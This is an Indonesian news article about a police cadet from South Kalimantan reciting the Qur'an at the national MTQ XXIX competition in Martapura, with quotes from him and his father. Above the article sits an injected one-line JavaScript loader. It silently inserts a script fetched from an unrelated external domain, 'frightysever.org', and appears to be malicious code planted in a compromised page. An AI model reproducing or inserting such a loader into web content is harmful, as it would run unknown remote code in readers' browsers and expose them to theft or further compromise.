(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Siswa SPN Polda Kalsel Tampil Maksimal di Cabang Hifzil Qur’an Golongan 5 Juz Tilawah

KANALKALIMANTAN.COM, MARTAPURA – Ayat-ayat suci suci Al Qur’an dengan merdu dilantunkan oleh seorang anggota Polri asal Kalimantan Selatan dalam Musabaqah Tilawatil Qur’an (MTQ) Nasional XXIX di Kalsel, Minggu (16/10/2022) sore.

Muhammad Hafiz, pemuda asli Banjarmasin yang tengah menempuh pendidikan polisi di Sekolah Polisi Negara (SPN) Polda Kalsel ini membawakan surah An-Nahl ayat 77 dalam cabang Hifzil Qur’an Golongan 5 Juz Tilawah.

Di venue gedung STAI Darussalam Martapura, Kabupaten Banjar, Hafiz tampil maksimal mengikuti jejak sang kakak, yakni Dina Andriani yang juga qoriah kafilah Kalsel Tilawah Golongan Dewasa dan Qira’at Mujawwad.

Dengan mengenakan pakaian dinas Polri, Hafiz turun dari mimbar tilawah. Ia pun disambut hangat pelukan sang ibunda dan para anggota keluarganya.

“Alhamdulillah cukup puas dan saya merasa sudah memberikan yang terbaik dan semoga hasilnya juga yang terbaik,” ungkap Hafiz bahagia.

Hafiz mengakui paket soal yang diberikan dewan hakim dirasa cukup sulit, kendati begitu ia tetap terus berusaha semaksimal mungkin untuk menjawab.

“Alhamdulillah bisa menjawab paket soalnya meskipun saya rasa lumayan cukup sulit,” sambungnya.

Ditanya soal persaingan, Hafiz menjawab pada cabang ini setiap kafilah dari berbagai provinsi di Indonesia tentunya telah menampilkan yang terbaik. Namun, dirinya mengatakan tetap harus optimis untuk bisa melaju ke babak final nantinya.

“Persaingannya cukup baik dan peserta lain juga banyak menampilkan yang terbaik tetapi saya tentunya juga optimis untuk bisa melaju ke babak final,” imbuhnya.

Sebagai anggota Polri, Hafiz mengungkapkan tujuannya mengikuti ajang MTQ ini bukan semata-mata untuk membawa harum nama instansinya saja. Namun juga tentunya sebagai ajang untuk mensyiarkan agama islam lebih luas lagi.

“Semoga dengan pergelaran MTQ ini kita bisa mensyiarkan agama islam dengan yang terbaik, terutama saya berterima kasih atas izin dari institusi saya yakni SPN beserta Polda Kalsel yang telah banyak mendukung,” harapnya.

Terbukti atas dukungan yang telah diberikan instansinya, Hafiz dapat terus melaju hingga tingkat nasional dalam ajang lomba penghafal Al Qur’an ini.

Hal tersebut juga tak luput dari peran sang ayah dan ibundanya yang terus membina dan mendukung Hafiz menjadi penghafal Al-Qur’an yang baik, disamping melaksanakan tugasnya sebagai anggota Polri.

“Sebelumnya memang sedari kecil sudah kelihatan bakat nya penghafal Al Qur’an, kita bina dengan pendidikan pesantren, kemudian saat ada penerimaan polisi Alhamdulillah lolos, saat itu kita ikutkan lomba di Tanah Bumbu dan langsung dipanggil oleh LPTQ tingkat 1,” ujar sang ayah, Ahmadi saat diwawancarai terpisiah.

Atas penampilannya dalam melantunkan ayat suci Al Qur’an di atas mimbar tilawah, membawa kebanggan tersendiri bagi dirinya, anggota keluarga, bahkan beberapa personil Polri. Beberapa dari mereka tak sungkan mengabadikan momen bersama sebagai bentuk dukungan yang telah diberikan. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : cell